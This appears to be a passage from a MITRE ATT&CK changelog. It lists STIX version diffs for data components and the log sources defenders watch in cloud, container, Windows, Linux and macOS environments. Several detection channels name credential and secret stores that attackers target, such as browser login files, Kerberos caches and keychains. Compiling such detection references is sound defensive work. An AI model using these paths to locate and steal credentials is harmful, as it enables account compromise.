| x_mitre_data_source_ref | x-mitre-data-source--b1ddede4-cafe-4955-ac4c-14b33ac3f647 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:15:34.195000+00:00 | 2025-10-21 15:14:38.498000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0070', 'external_id': 'DC0070'}] | |
| x_mitre_log_sources | [{'name': 'CloudTrail:GetInstanceIdentityDocument', 'channel': 'GetInstanceIdentityDocument'}, {'name': 'AWS:CloudTrail', 'channel': 'rds:ExecuteStatement: Large data access via RDS or Aurora with unknown session context'}, {'name': 'saas:github', 'channel': 'repo.download, repo.clone, oauth.authorize, repo.getContent'}, {'name': 'AWS:CloudWatch', 'channel': 'unexpected IAM user or role assuming privileges for instance/snapshot operations'}, {'name': 'CloudTrail:GetSecretValue', 'channel': 'API call to retrieve secret or access key'}, {'name': 'CloudTrail:InvokeFunction', 'channel': 'InvokeFunction'}, {'name': 'm365:sharepoint', 'channel': 'Multiple file download operations on a site by a privileged account in a short time window'}, {'name': 'saas:github', 'channel': 'CI/CD secret accessed or exported'}, {'name': 'm365:exchange', 'channel': 'Cmdlet - New-InboxRule'}, {'name': 'm365:unified', 'channel': 'New-InboxRule, Set-InboxRule'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--b1ddede4-cafe-4955-ac4c-14b33ac3f647 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:15:27.794000+00:00 | 2025-10-21 15:14:34.276000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0069', 'external_id': 'DC0069'}] | |
| x_mitre_log_sources | [{'name': 'AWS:CloudTrail', 'channel': 'CreateFunction'}, {'name': 'm365:unified', 'channel': 'Creation of Power Automate flow triggered by OneDrive or Exchange event'}, {'name': 'AWS:CloudTrail', 'channel': 'PutUserPolicy, PutGroupPolicy, PutRolePolicy, CreatePolicyVersion'}, {'name': 'AWS:CloudTrail', 'channel': 'Condition block updated in IAM policy (e.g., aws:SourceIp, aws:RequestedRegion)'}, {'name': 'azure:activity', 'channel': 'operationName: Write, Access Review, RoleAssignment'}, {'name': 'azure:policy', 'channel': 'UpdatePolicy'}, {'name': 'AWS:CloudTrail', 'channel': 'UpdateAccountPasswordPolicy'}, {'name': 'AWS:CloudTrail', 'channel': 'PutIdentityPolicy'}, {'name': 'AWS:CloudTrail', 'channel': 'LeaveOrganization: API calls severing accounts from AWS Organizations'}, {'name': 'CloudTrail:Organizations', 'channel': 'CreateAccount: API calls creating new accounts in AWS Organizations'}, {'name': 'azure:audit', 'channel': 'Tenant subscription transfers or new management group creation'}, {'name': 'AWS:CloudTrail', 'channel': 'UpdateIdentityPolicy or DisableMFA'}, {'name': 'm365:unified', 'channel': 'SendMessage'}, {'name': 'gcp:config', 'channel': 'UpdateSink request modifying log export destinations'}, {'name': 'azure:policy', 'channel': 'DisableAuditLogs or ConditionalAccess logging changes'}, {'name': 'CloudTrail:UpdatePolicy', 'channel': 'UpdateFederationSettings or RegisterHybridConnector'}, {'name': 'AWS:CloudTrail', 'channel': 'CreateTrafficMirrorSession / ModifyTrafficMirrorTarget'}, {'name': 'azure:activity', 'channel': 'Microsoft.Network/networkWatchers/flowLogSettings/write'}, {'name': 'gcp:audit', 'channel': 'compute.packetMirroring.insert'}, {'name': 'AWS:CloudTrail', 'channel': 'CreateFunction / UpdateFunctionConfiguration: Function creation, role assignment, or configuration change events'}, {'name': 'm365:unified', 'channel': 'AddFlow / UpdateFlow: New automation or workflow creation events'}, {'name': 'saas:appsscript', 'channel': 'Create / Update: Deployment of scripts with event-driven triggers'}, {'name': 'saas:slack', 'channel': 'Exported file or accessed admin API'}, {'name': 'AWS:CloudTrail', 'channel': 'RequestServiceQuotaIncrease'}, {'name': 'azure:activity', 'channel': 'MICROSOFT.AUTHORIZATION/POLICIES/WRITE'}, {'name': 'gcp:audit', 'channel': 'projects.updateQuota or orgPolicies.updatePolicy'}, {'name': 'AWS:CloudTrail', 'channel': 'Delete* / Stop*: DeleteAlarms, StopLogging, or DisableMonitoring API calls'}, {'name': 'AWS:CloudTrail', 'channel': 'Use of temporary credentials issued from IMDS access'}, {'name': 'saas:github', 'channel': 'Workflow triggered via pull_request_target from forked repo'}, {'name': 'azure:audit', 'channel': 'Consent to application: OAuth application consent granted to service principal'}, {'name': 'saas:integration', 'channel': 'New or modified third-party application integrations with elevated permissions'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--b1ddede4-cafe-4955-ac4c-14b33ac3f647 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:15:24.409000+00:00 | 2025-10-21 15:14:35.943000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0025', 'external_id': 'DC0025'}] | |
| x_mitre_log_sources | [{'name': 'AWS:CloudTrail', 'channel': 'PutObject, CopyObject'}, {'name': 'AWS:CloudTrail', 'channel': 'PutObject, GetObject, CopyObject, DeleteObject'}, {'name': 'AWS:CloudTrail', 'channel': 'GetObject'}, {'name': 'AWS:CloudTrail', 'channel': 'PutObject: S3 writes with .sql/.csv extension by same identity or within 5 min of DB access'}, {'name': 'm365:unified', 'channel': 'Accessed SharePoint files or pages'}, {'name': 'm365:unified', 'channel': 'FileAccessed, FileDownloaded, ConsentGranted'}, {'name': 'gcp:workspaceaudit', 'channel': 'download, authorization_grant'}, {'name': 'm365:sharepoint', 'channel': 'AnonymousLinkCreated, FileDownloaded'}, {'name': 'm365:unified', 'channel': 'App-only or delegated access patterns where client_id != known enterprise apps'}, {'name': 'saas:github', 'channel': 'Artifact generated includes base64/encoded exfil payload or URL'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--2ce537a2-3b30-4374-9397-31d6460ec0bc |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:13:49.144000+00:00 | 2025-10-21 15:14:36.111000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0024', 'external_id': 'DC0024'}] | |
| x_mitre_log_sources | [{'name': 'AWS:CloudTrail', 'channel': 'CreateBucket'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--2ce537a2-3b30-4374-9397-31d6460ec0bc |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:14:01.974000+00:00 | 2025-10-21 15:14:39.305000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0022', 'external_id': 'DC0022'}] | |
| x_mitre_log_sources | [{'name': 'AWS:CloudTrail', 'channel': 'DeleteBucket, DeleteDBCluster, DeleteSnapshot, TerminateInstances'}, {'name': 'AWS:CloudTrail', 'channel': 'PutBackupVaultAccessPolicy'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--2ce537a2-3b30-4374-9397-31d6460ec0bc |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:13:58.772000+00:00 | 2025-10-21 15:14:38.644000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0017', 'external_id': 'DC0017'}] | |
| x_mitre_log_sources | [{'name': 'AWS:CloudTrail', 'channel': 'ListBuckets'}, {'name': 'AWS:CloudTrail', 'channel': 'ListObjectsV2'}, {'name': 'azure:activity', 'channel': 'List Blobs'}, {'name': 'gcp:storage', 'channel': 'storage.objects.list'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--2ce537a2-3b30-4374-9397-31d6460ec0bc |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:13:55.587000+00:00 | 2025-10-21 15:14:38.903000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0027', 'external_id': 'DC0027'}] | |
| x_mitre_log_sources | [{'name': 'AWS:CloudTrail', 'channel': 'Post-authentication metadata enumeration from GUI session'}, {'name': 'm365:unified', 'channel': 'AnonymousLinkCreated'}, {'name': 'saas:box', 'channel': 'collaboration.invite'}, {'name': 'saas:dropbox', 'channel': 'Shared link created to external account'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--2ce537a2-3b30-4374-9397-31d6460ec0bc |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:13:52.404000+00:00 | 2025-10-21 15:14:39.767000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0023', 'external_id': 'DC0023'}] | |
| x_mitre_log_sources | [{'name': 'AWS:CloudTrail', 'channel': 'PutBucketLifecycle, PutLifecycleConfiguration, SetBucketLifecycle, storage.buckets.update'}, {'name': 'AWS:CloudTrail', 'channel': 'PutObject (with SSE-C), UploadPart (SSE-C)'}, {'name': 'AWS:CloudTrail', 'channel': 'PutBucketPolicy'}, {'name': 'm365:unified', 'channel': 'SharingSet'}, {'name': 'saas:googledrive', 'channel': 'drive.permission.add'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--2ce537a2-3b30-4374-9397-31d6460ec0bc |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:13:45.928000+00:00 | 2025-10-21 15:14:36.930000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.2 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0064', 'external_id': 'DC0064'}] | |
| x_mitre_log_sources | [{'name': 'Command', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'execution of realmd, samba-tool, or ldapmodify with user-related arguments'}, {'name': 'macos:unifiedlog', 'channel': 'dsconfigad or dscl with create or append options for AD-bound users'}, {'name': 'EDR:AMSI', 'channel': 'None'}, {'name': 'linux:syslog', 'channel': '/var/log/syslog or journalctl'}, {'name': 'WinEventLog:PowerShell', 'channel': 'Get-ADTrust|GetAllTrustRelationships'}, {'name': 'gcp:audit', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of script interpreters by systemd timer (ExecStart)'}, {'name': 'AWS:CloudTrail', 'channel': 'InvokeFunction'}, {'name': 'm365:unified', 'channel': 'Automated forwarding or file sync initiated by a logic app'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4104'}, {'name': 'linux:syslog', 'channel': 'Suspicious script or command execution targeting browser folders'}, {'name': 'esxi:shell', 'channel': 'snapshot create/copy, esxcli'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Commands like systemctl stop |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--73691708-ffb5-4e29-906d-f485f6fa7089 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:11:30.145000+00:00 | 2025-10-21 15:14:34.849000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.2 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0072', 'external_id': 'DC0072'}] | |
| x_mitre_log_sources | [{'name': 'kubernetes:apiserver', 'channel': 'create/exec: Kubernetes API calls to exec into containers or create pods from curl, kubectl, or SDK clients'}, {'name': 'kubernetes:events', 'channel': 'container start/stop activity via Docker, containerd, or CRI-O'}, {'name': 'docker:daemon', 'channel': 'container create/start with privileged flag or host volume mount'}, {'name': 'kubernetes:audit', 'channel': "create: Pod/Container created with image tag 'latest' or mutable tag; imagePullPolicy=Always; noDigest=true"}, {'name': 'systemd:unit', 'channel': "container run with restart policy set to 'always' or 'unless-stopped'"}, {'name': 'docker:events', 'channel': 'created,started: new container from untrusted registry or unexpected entrypoint'}, {'name': 'containerd:events', 'channel': 'create'}, {'name': 'docker:events', 'channel': 'docker run with restart=always or modifying init'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--072ec5a7-00ba-466f-9057-69751a22a967 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:14:30.196000+00:00 | 2025-10-21 15:14:37.681000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0091', 'external_id': 'DC0091'}] | |
| x_mitre_log_sources | [{'name': 'docker:daemon', 'channel': 'docker ps, docker inspect, or docker images commands'}, {'name': 'AWS:CloudTrail', 'channel': 'DescribeCluster, ListClusters, ListNodegroups'}, {'name': 'containerd:runtime', 'channel': 'e.g., containerd, Docker events'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--072ec5a7-00ba-466f-9057-69751a22a967 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:14:36.677000+00:00 | 2025-10-21 15:14:40.609000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0077', 'external_id': 'DC0077'}] | |
| x_mitre_log_sources | [{'name': 'docker:events', 'channel': 'exec_create: docker exec events targeting running containers from non-CI sources'}, {'name': 'kubernetes:events', 'channel': 'start: ContainerStarted or Pulling image → Started container'}, {'name': 'containerd:runtime', 'channel': 'CRI CreateContainer/StartContainer with privileged=true OR added capabilities OR host* namespaces'}, {'name': 'docker:events', 'channel': 'start'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--072ec5a7-00ba-466f-9057-69751a22a967 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:14:33.436000+00:00 | 2025-10-21 15:14:37.615000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0101', 'external_id': 'DC0101'}] | |
| x_mitre_log_sources | [{'name': 'Domain Name', 'channel': 'None'}, {'name': 'dns:query', 'channel': 'Excessive lookups for domains with suspicious WHOIS or short TTL values'}, {'name': 'esxi:vmkernel', 'channel': 'DNS lookups resolving to domains with rapid changes in registration metadata'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--dd75f457-8dc0-4a24-9ae5-4b61c33af866 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:16:34.616000+00:00 | 2025-10-21 15:14:40.288000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0054', 'external_id': 'DC0054'}] | |
| x_mitre_log_sources | [{'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=9'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write syscalls on /dev/sd* or /dev/nvme*'}, {'name': 'auditd:SYSCALL', 'channel': 'write syscalls to /dev/sd* targeting offset 0'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write syscalls to block devices (/dev/sd*, /dev/nvme*)'}, {'name': 'linux:syslog', 'channel': 'mount/umount or file copy logs'}, {'name': 'fs:fsusage', 'channel': 'open/read/mount operations'}, {'name': 'linux:osquery', 'channel': 'hardware_events'}, {'name': 'macos:osquery', 'channel': 'usb_devices'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--61bbbf27-f7c3-46ba-a6bc-48ae76928065 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:12:42.387000+00:00 | 2025-10-21 15:14:38.086000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0042', 'external_id': 'DC0042'}] | |
| x_mitre_log_sources | [{'name': 'Drive', 'channel': 'None'}, {'name': 'WinEventLog:System', 'channel': 'Kernel-PnP 410/400 device install, disk added'}, {'name': 'auditd:SYSCALL', 'channel': 'mknod,open,openat'}, {'name': 'macos:unifiedlog', 'channel': 'mounted|appeared|DA: disk* attached'}, {'name': 'WinEventLog:Microsoft-Windows-Partition/Diagnostic', 'channel': 'EventCode=1006'}, {'name': 'auditd:SYSCALL', 'channel': 'Removable media mount notification'}, {'name': 'macos:unifiedlog', 'channel': 'com.apple.diskarbitration'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=1006,10001'}, {'name': 'auditd:SYSCALL', 'channel': 'device event logs'}, {'name': 'linux:osquery', 'channel': 'mount_events'}, {'name': 'macos:unifiedlog', 'channel': 'Volume Mount + File Read'}, {'name': 'WinEventLog:Microsoft-Windows-DriverFrameworks-UserMode/Operational', 'channel': 'EventCode=2003'}, {'name': 'auditd:SYSCALL', 'channel': 'udev events or drive enumeration involving TinyPilot paths or device classes'}, {'name': 'linux:syslog', 'channel': 'Device attach logs containing TinyPilot/PiKVM identifiers'}, {'name': 'macos:unifiedlog', 'channel': 'Hardware enumeration events via IOKit or USBMuxd showing TinyPilot or unknown keyboard/mouse'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=2003'}, {'name': 'auditd:SYSCALL', 'channel': 'Kernel Device Events - USB Block Devices'}, {'name': 'maos:osquery', 'channel': 'mount_events'}, {'name': 'macos:unifiedlog', 'channel': 'Volume Mount + Process Trace + File Read'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=20001/20003'}, {'name': 'journald:systemd', 'channel': 'udisks2 or udevd logs'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate \'eventMessage contains "USBMSC"\''}, {'name': 'WinEventLog:System', 'channel': '20001-20003'}, {'name': 'linux:syslog', 'channel': "New HID device enumeration with type 'keyboard' followed by immediate input injection"}, {'name': 'macos:unifiedlog', 'channel': 'New IOUSB keyboard/HID device enumerated with suspicious attributes'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--61bbbf27-f7c3-46ba-a6bc-48ae76928065 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:12:36.536000+00:00 | 2025-10-21 15:14:37.342000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/data-components/DC0046', 'external_id': 'DC0046'}] | |
| x_mitre_log_sources | [{'name': 'Drive', 'channel': 'None'}, {'name': 'networkdevice:runtime', 'channel': 'Firmware image uploaded via TFTP/FTP/SCP'}, {'name': 'WinEventLog:Sysmon', 'channel': 'Raw disk write access via \\\\.\\PhysicalDrive* or \\\\.\\C:'}, {'name': 'macos:unifiedlog', 'channel': 'IOKit disk write calls targeting raw devices'}, {'name': 'linux:syslog', 'channel': 'Block device write errors or unusual bootloader activity'}, {'name': 'networkdevice:firmware', 'channel': 'Unexpected firmware image upload events via TFTP/FTP/SCP'}, {'name': 'WinEventLog:Sysmon', 'channel': 'Raw write attempts targeting \\\\.\\PhysicalDrive0 or sector 0 (MBR/partition table)'}, {'name': 'macos:unifiedlog', 'channel': 'IOKit raw disk write to EFI/boot partition sectors'}, {'name': 'WinEventLog:Sysmon', 'channel': 'Raw disk writes targeting \\\\.\\PhysicalDrive* or MBR locations'}, {'name': 'macos:unifiedlog', 'channel': 'IOKit raw disk write activity targeting physical devices'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:12:35.797000+00:00 | 2025-10-22 19:03:17.198000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
| x_mitre_data_source_ref | x-mitre-data-source--61bbbf27-f7c3-46ba-a6bc-48ae76928065 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ics-attack |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0079', 'external_id': 'DC0079'}] | |
| x_mitre_log_sources | [{'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=6'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=6'}, {'name': 'linux:syslog', 'channel': 'dmesg or syslog for module loads'}, {'name': 'linux:syslog', 'channel': 'Driver load events or firmware load failures for hardware devices'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--9ec8c0d7-6137-456f-b829-c5f8b96ba054 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:14:49.173000+00:00 | 2025-10-21 15:14:37.274000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0074', 'external_id': 'DC0074'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--9ec8c0d7-6137-456f-b829-c5f8b96ba054 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:14:52.372000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0055', 'external_id': 'DC0055'}] | |
| x_mitre_log_sources | [{'name': 'File', 'channel': 'None'}, {'name': 'm365:unified', 'channel': 'FileAccessed, MailboxAccessed'}, {'name': 'auditd:SYSCALL', 'channel': 'open, read, or stat of browser config files'}, {'name': 'macos:unifiedlog', 'channel': 'Access to ~/Library/*/Safari or Chrome directories by non-browser processes'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4663'}, {'name': 'macos:unifiedlog', 'channel': 'file events'}, {'name': 'gcp:audit', 'channel': 'Write operations to storage'}, {'name': 'esxi:vmkernel', 'channel': 'VMFS access logs'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_OPEN: Open of .dylib/.so in user-writable locations'}, {'name': 'auditd:SYSCALL', 'channel': 'open: File access attempt on /tmp/krb5cc_* or /tmp/krb5.ccache'}, {'name': 'macos:unifiedlog', 'channel': 'Kerberos framework calls to API:{uuid} cache outside normal process lineage'}, {'name': 'auditd:SYSCALL', 'channel': 'openat'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4656, 4663'}, {'name': 'auditd:FILE', 'channel': '/home/*/.mozilla/firefox/*/logins.json OR /home/*/.config/google-chrome/*/Login Data'}, {'name': 'macos:unifiedlog', 'channel': '~/Library/Application Support/Google/Chrome/*/Login Data OR ~/Library/Application Support/Firefox/*/logins.json'}, {'name': 'auditd:SYSCALL', 'channel': 'open'}, {'name': 'auditd:FILE', 'channel': '/proc/*/mem read attempt'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4656,4663'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4670, 4663'}, {'name': 'auditd:PATH', 'channel': 'Read access to known backup software configuration files (e.g., /etc/rsnapshot.conf, /opt/veeam/config.ini)'}, {'name': 'macos:unifiedlog', 'channel': 'Read access to Time Machine plist files or CCC configurations in ~/Library/Preferences/'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4656'}, {'name': 'auditd:SYSCALL', 'channel': 'open, read'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=5145, 4663'}, {'name': 'linux:syslog', 'channel': 'auth.log or custom tool logs'}, {'name': 'fs:fsusage', 'channel': 'file'}, {'name': 'linux:syslog', 'channel': '/var/log/syslog'}, {'name': 'macos:osquery', 'channel': 'file_events'}, {'name': 'auditd:SYSCALL', 'channel': 'open, flock, fcntl, unlink'}, {'name': 'fs:fsusage', 'channel': 'File Access Monitor'}, {'name': 'macos:unifiedlog', 'channel': 'log stream - file subsystem'}, {'name': 'auditd:SYSCALL', 'channel': 'read/open of sensitive files'}, {'name': 'macos:unifiedlog', 'channel': 'file read of sensitive directories'}, {'name': 'esxi:hostd', 'channel': 'datastore file access'}, {'name': 'auditd:SYSCALL', 'channel': 'Unusual processes accessing or modifying cookie databases'}, {'name': 'macos:unifiedlog', 'channel': 'Abnormal process access to Safari or Chrome cookie storage'}, {'name': 'auditd:SYSCALL', 'channel': 'PATH records referencing /dev/video*'}, {'name': 'macos:endpointsecurity', 'channel': 'open: Process opens AppleCamera/IOUSB device nodes or AVFoundation frameworks'}, {'name': 'ebpf:syscalls', 'channel': 'container_file_activity'}, {'name': 'fs:fsusage', 'channel': 'Disk Activity Tracing'}, {'name': 'macos:keychain', 'channel': 'Access to Keychain DB or system.keychain'}, {'name': 'auditd:SYSCALL', 'channel': 'open, read: /etc/ssl/, /etc/pki/, ~/.pki/nssdb/'}, {'name': 'macos:keychain', 'channel': '~/Library/Keychains, /Library/Keychains'}, {'name': 'm365:unified', 'channel': 'Bulk downloads or API extractions from Microsoft-hosted data repositories (e.g., Dynamics 365)'}, {'name': 'auditd:PATH', 'channel': 'open: Access to sensitive log files (/var/log/auth.log, /var/log/secure, /var/log/syslog)'}, {'name': 'macos:unifiedlog', 'channel': 'open: Access to /var/log/system.log or related security event logs'}, {'name': 'azure:activity', 'channel': 'CollectGuestLogs: Unexpected collection of guest logs by Azure VM Agent outside normal maintenance windows'}, {'name': 'esxi:hostd', 'channel': 'read: Access to sensitive log files by non-admin users'}, {'name': 'auditd:SYSCALL', 'channel': 'Processes reading credential or token cache files'}, {'name': 'auditd:SYSCALL', 'channel': 'read/open of sensitive file directories'}, {'name': 'esxi:hostd', 'channel': 'datastore/log file access'}, {'name': 'fs:fsusage', 'channel': 'filesystem activity'}, {'name': 'WinEventLog:Microsoft-Windows-Windows Defender/Operational', 'channel': 'Suspicious file execution on removable media path'}, {'name': 'auditd:PATH', 'channel': 'path'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read of sensitive config or secret files'}, {'name': 'macos:unifiedlog', 'channel': 'open/read of *.plist or .env files'}, {'name': 'ebpf:syscalls', 'channel': 'open/read on secret mount paths'}, {'name': 'CloudTrail:GetObject', 'channel': 'sensitive credential files in buckets or local image storage'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read of sensitive directories'}, {'name': 'macos:unifiedlog', 'channel': 'read of user document directories'}, {'name': 'esxi:syslog', 'channel': 'guest OS outbound transfer logs'}, {'name': 'auditd:PATH', 